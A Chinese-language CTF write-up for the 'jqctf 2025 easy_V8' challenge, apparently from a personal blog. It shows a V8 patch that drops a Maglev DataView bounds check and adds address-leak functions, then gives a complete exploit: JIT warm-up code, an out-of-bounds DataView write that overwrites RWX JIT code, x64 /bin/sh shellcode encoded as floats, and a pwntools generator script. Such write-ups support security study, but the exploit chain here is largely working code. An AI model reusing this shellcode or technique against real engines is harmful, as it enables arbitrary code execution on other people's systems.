[ayoung@blog posts]$ cat ./jqctf 2025 easy_V8.md

jqctf 2025 easy_V8

[Last modified: 2026-02-09]

非预期 import('flag');

题目

启动命令

os.system("/home/ayoung/ctf/jqctf2025/v8/d8 --no-memory-protection-keys " + sys.argv[1])

选项--no-memory-protection-keys,实际上是关闭了一个系统级别的内存防护机制,如果没有这个关闭选项,则无法如下文exp中做法一样直接修改函数最终跳转地址处指令,即使此处内存页显示为RWX,实际发生写入的时候会抛出异常(详见[[Intel MPK(Memory Protection Keys)]])(Issue 11714 in v8: [wasm] Write-protection of generated code with PKEYs/PKU)

给了一个patch文件 删除了一些原本内置的方法,添加了两个函数

并删去了 Maglev 编译器中CheckJSDataViewBounds::GenerateCode()函数中的边界检查

原本当__ subq(byte_length, Immediate(element_size - 1));byte_length-(element_size-1)为负值,也即操作数据长度大于DataView对应元素时,触发__ EmitEagerDeoptIf(negative, DeoptimizeReason::kOutOfBounds, this);,抛出kOutOfBounds越界错误

Maglev是介于Ignition(解释器)和TurboFan(优化编译器),通常在函数执行一定次数后触发 当构造函数触发Maglev编译可以用DataView越界读写

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 65d716745d1..bce2e5f6dc0 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3776,6 +3776,44 @@ void Shell::Version(const v8::FunctionCallbackInfo<v8::Value>& info) {
           .ToLocalChecked());
 }
 
+void Shell::Jing(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+  i::Isolate* i_isolate = reinterpret_cast<i::Isolate*>(isolate);
+  auto rwx_page = i_isolate->heap()->code_space()->first_page();
+
+  if(rwx_page != NULL) {
+    i::Address rwx_addr = rwx_page->area_start();
+    info.GetReturnValue().Set(v8::BigInt::NewFromUnsigned(isolate, rwx_addr));
+  } else {
+    info.GetReturnValue().Set(Undefined(isolate));
+  }
+}
+
+void Shell::Qi(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+  HandleScope scope(isolate);
+
+  if(info.Length() < 1) {
+    info.GetReturnValue().Set(Undefined(isolate));
+    return;
+  }
+  v8::Local<v8::Value> arg = info[0];
+
+  if (!arg->IsArrayBuffer()) {
+    info.GetReturnValue().Set(Undefined(isolate));
+    return;
+  }
+  v8::Local<v8::ArrayBuffer> buffer = arg.As<v8::ArrayBuffer>();
+
+  std::shared_ptr<v8::BackingStore> backing_store = buffer->GetBackingStore();
+  void* data_ptr = backing_store->Data();
+
+  // 将指针转换为一个整数,以便创建 BigInt
+  uintptr_t address_value = reinterpret_cast<uintptr_t>(data_ptr);
+  v8::Local<v8::BigInt> result = v8::BigInt::NewFromUnsigned(isolate, address_value);
+  info.GetReturnValue().Set(result);
+}
+
 void Shell::ReportException(Isolate* isolate, Local<v8::Message> message,
                             Local<v8::Value> exception_obj) {
   HandleScope handle_scope(isolate);
@@ -4018,51 +4056,55 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
-  global_template->Set(isolate, "version",
-                       FunctionTemplate::New(isolate, Version));
+  global_template->Set(isolate, "Jing",
+                       FunctionTemplate::New(isolate, Jing));
+  global_template->Set(isolate, "Qi",
+                       FunctionTemplate::New(isolate, Qi));
+//   global_template->Set(Symbol::GetToStringTag(isolate),
+//                        String::NewFromUtf8Literal(isolate, "global"));
+//   global_template->Set(isolate, "version",
+//                        FunctionTemplate::New(isolate, Version));
 
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write",
-                       FunctionTemplate::New(isolate, WriteStdout));
-  if (!i::v8_flags.fuzzing) {
-    global_template->Set(isolate, "writeFile",
-                         FunctionTemplate::New(isolate, WriteFile));
-  }
-  global_template->Set(isolate, "read",
-                       FunctionTemplate::New(isolate, ReadFile));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
-    global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
-  }
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-
-  // Prevent fuzzers from creating side effects.
-  if (!i::v8_flags.fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
-
-  if (i::v8_flags.expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
+//   global_template->Set(isolate, "printErr",
+//                        FunctionTemplate::New(isolate, PrintErr));
+//   global_template->Set(isolate, "write",
+//                        FunctionTemplate::New(isolate, WriteStdout));
+//   if (!i::v8_flags.fuzzing) {
+//     global_template->Set(isolate, "writeFile",
+//                          FunctionTemplate::New(isolate, WriteFile));
+//   }
+//   global_template->Set(isolate, "read",
+//                        FunctionTemplate::New(isolate, ReadFile));
+//   global_template->Set(isolate, "readbuffer",
+//                        FunctionTemplate::New(isolate, ReadBuffer));
+//   global_template->Set(isolate, "readline",
+//                        FunctionTemplate::New(isolate, ReadLine));
+//   global_template->Set(isolate, "load",
+//                        FunctionTemplate::New(isolate, ExecuteFile));
+//   global_template->Set(isolate, "setTimeout",
+//                        FunctionTemplate::New(isolate, SetTimeout));
+//   // Some Emscripten-generated code tries to call 'quit', which in turn would
+//   // call C's exit(). This would lead to memory leaks, because there is no way
+//   // we can terminate cleanly then, so we need a way to hide 'quit'.
+//   if (!options.omit_quit) {
+//     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
+//   }
+//   global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
+//   global_template->Set(isolate, "performance",
+//                        Shell::CreatePerformanceTemplate(isolate));
+//   global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
+
+//   // Prevent fuzzers from creating side effects.
+//   if (!i::v8_flags.fuzzing) {
+//     global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
+//   }
+//   global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
+
+//   if (i::v8_flags.expose_async_hooks) {
+//     global_template->Set(isolate, "async_hooks",
+//                          Shell::CreateAsyncHookTemplate(isolate));
+//   }
 
   return global_template;
 }
diff --git a/src/d8/d8.h b/src/d8/d8.h
index 94dcfb5a23d..4721121688d 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -657,6 +657,8 @@ class Shell : public i::AllStatic {
   static void ScheduleTermination(
       const v8::FunctionCallbackInfo<v8::Value>& info);
   static void Version(const v8::FunctionCallbackInfo<v8::Value>& info);
+  static void Jing(const v8::FunctionCallbackInfo<v8::Value>& info);
+  static void Qi(const v8::FunctionCallbackInfo<v8::Value>& info);
   static void WriteFile(const v8::FunctionCallbackInfo<v8::Value>& info);
   static void ReadFile(const v8::FunctionCallbackInfo<v8::Value>& info);
   static void CreateWasmMemoryMapDescriptor(
diff --git a/src/maglev/x64/maglev-ir-x64.cc b/src/maglev/x64/maglev-ir-x64.cc
index ef1f9937105..4f3bbe6756f 100644
--- a/src/maglev/x64/maglev-ir-x64.cc
+++ b/src/maglev/x64/maglev-ir-x64.cc
@@ -113,7 +113,7 @@ void CheckJSDataViewBounds::GenerateCode(MaglevAssembler* masm,
   int element_size = compiler::ExternalArrayElementSize(element_type_);
   if (element_size > 1) {
     __ subq(byte_length, Immediate(element_size - 1));
-    __ EmitEagerDeoptIf(negative, DeoptimizeReason::kOutOfBounds, this);
+//     __ EmitEagerDeoptIf(negative, DeoptimizeReason::kOutOfBounds, this);
   }
   __ cmpl(index, byte_length);
   __ EmitEagerDeoptIf(above_equal, DeoptimizeReason::kOutOfBounds, this);

解题

用下面代码强制触发 JIT 编译来初始化代码空间

// 1. 创建需要优化的大量函数
const functions = [];
for (let i = 0; i < 1000; i++) {
    functions.push(new Function(`return ${i} * 2`));
}
// 2. 触发优化编译(加热函数)
for (let i = 0; i < 100000; i++) {
    functions[i % functions.length]();
}

前面提到,Maglev编译需要函数执行一定次数后才能触发 即先创建一个不会越界的 arrybuffer 多次循环写入操作,之后再对小的 arraybuffer 进行越界写操作(setFloat64)就能够通过Maglev编译,绕过边界检查

最后漏洞利用思路即通过越界覆写内存中JIT代码,其在的rwx页面地址可以通过题目提供的接口获得,之后通过DebugPrint打印functions[0]调试信息

其中code: 0x19d2002002a9 <Code BASELINE>即指示对应jit代码的位置

DebugPrint: 0x19d2001d66e9: [Function] in OldSpace
 - map: 0x19d200043595 <Map[32](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x19d2000436c1 <JSFunction (sfi = 0x19d200041a5d)>
 - elements: 0x19d2000007bd <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: 
 - initial_map: 
 - shared_info: 0x19d200059911 <SharedFunctionInfo>
 - name: 0x19d200000049 <String[0]: #>
 - formal_parameter_count: 1
 - kind: NormalFunction
 - context: 0x19d200042ea9 <NativeContext[301]>
 - code: 0x19d2002002a9 <Code BASELINE>
 - dispatch_handle: 0x12e500
 - source code: (
) {
return 0 * 2
}

查看对应内存 可以找到对应代码地址(可以通过for循环延时挂调试jit代码执行)

另外可以通过 job 查看code信息,instruction_start即指令开始地址

pwndbg> job 0x23f8002c009d
0x23f8002c009d: [Code]
 - map: 0x23f800000d61 <Map[64](CODE_TYPE)>
 - kind: MAGLEV
 - deoptimization_data_or_interpreter_data: 0x23f8002c0011 <Other heap object (PROTECTED_FIXED_ARRAY_TYPE)>
 - position_table: 0x23f800180011 <Other heap object (TRUSTED_BYTE_ARRAY_TYPE)>
 - instruction_stream: 0x5789c8ac0031 <InstructionStream MAGLEV>
 - instruction_start: 0x5789c8ac0040
 - is_turbofanned: 0
 - stack_slots: 5
 - marked_for_deoptimization: 0
 - embedded_objects_cleared: 0
 - can_have_weak_objects: 1
 - instruction_size: 152
 - metadata_size: 24
 - inlined_bytecode_size: 0
 - osr_offset: -1
 - handler_table_offset: 24
 - unwinding_info_offset: 24
 - code_comments_offset: 24
 - instruction_stream.relocation_info: 0x23f8002c0089 <Other heap object (TRUSTED_BYTE_ARRAY_TYPE)>
 - instruction_stream.body_size: 176

--- Disassembly: ---
...

最后就是计算偏移,越界通过浮点数覆盖rwx处代码,最后调用functions[0]()触发执行 这里的偏移会因为代码变化而小范围变化,因为最后要把调试用的指令都去掉,需要小范围手动爆破一下

linux可用shellcode

//Linux x64
var shellcode = [  
  0x2fbb485299583b6an,  
  0x5368732f6e69622fn,  
  0x050f5e5457525f54n  
];  

将字节码转为 js 大整数数组脚本

from pwn import *
 
context.arch = 'amd64'
context.os = 'linux'
 
shellcode = shellcraft.sh()
output = asm(shellcode)
print(f"Shellcode 长度: {len(output)} 字节")
 
if len(output) % 8 != 0:
    padding = 8 - (len(output) % 8)
    output += b'\x00' * padding
    print(f"已填充 {padding} 字节,总长度: {len(output)} 字节")
 
bigint_array = []
for i in range(0, len(output), 8):
    chunk = output[i:i+8]
    value = int.from_bytes(chunk, 'little')
    bigint_array.append(f"{value}n")
 
js_array = "var shellcode = [\n    " + ",\n    ".join(bigint_array) + "\n];"
 
print("\nJavaScript BigInt 数组格式:")
print(js_array)

将大整数数组转为浮点数数组脚本

function convertToFloat64(bigIntArray) {
  // 创建足够大的 ArrayBuffer(每个元素需要 8 字节)
  const buffer = new ArrayBuffer(bigIntArray.length * 8);
  
  // 使用 BigUint64Array 写入原始 BigInt 数据(确保无符号解释)
  const bigIntView = new BigUint64Array(buffer);
  bigIntArray.forEach((value, index) => {
    bigIntView[index] = value;
  });
  
  // 创建 Float64Array 视图读取相同的缓冲区
  return new Float64Array(buffer);
}

// 测试数据
var shellcode = [  
  0x9090909090909090n,
  0x2fbb485299583b6an,  
  0x5368732f6e69622fn,  
  0x050f5e5457525f54n  
];  

// 生成 Float64 数组
const float64Array = convertToFloat64(shellcode);
console.log(float64Array);

exp

const largeBuffer = new ArrayBuffer(0x100000000);
const largeView = new DataView(largeBuffer);

// 生成超短ArrayBuffer用于触发漏洞 (长度=1)
const smallBuffer = new ArrayBuffer(1);
const smallView = new DataView(smallBuffer);

const bufPtr = Qi(smallBuffer);
print("Buffer pointer:", '0x'+bufPtr.toString(16));

// 1. 创建需要优化的大量函数
const functions = [];
for (let i = 0; i < 1000; i++) {
    functions.push(new Function(`return ${i} * 2`));
}
// 2. 触发优化编译(加热函数)
for (let i = 0; i < 100000; i++) {
    functions[i % functions.length]();
}

const rwxAddr = Jing();
print("RWX address:", '0x'+rwxAddr.toString(16));
print("offset:", (rwxAddr-bufPtr).toString(16));

print(typeof rwxAddr, typeof bufPtr);

var shellcode = [
    -6.828527034422786e-229,9.203763987562782e-79,6.375092797421955e+93,2.6368626227639178e-284
];
function trigger(dataView, idx, val) {
    dataView.setFloat64(idx, val, true);
}

// 使用大缓冲区训练写入操作
for (let i = 0; i < 0x1000000; i++) {
    trigger(largeView, Number(rwxAddr-bufPtr)+0x1090, 156842099844.51764);
}

try {
    for (let i = 0; i < shellcode.length; i++) {
        trigger(smallView, Number(rwxAddr-bufPtr)+0xf10 + i*8, shellcode[i]);
    }
    functions[0]();

} catch (e) {
    console.log("漏洞触发失败:", e.message);
}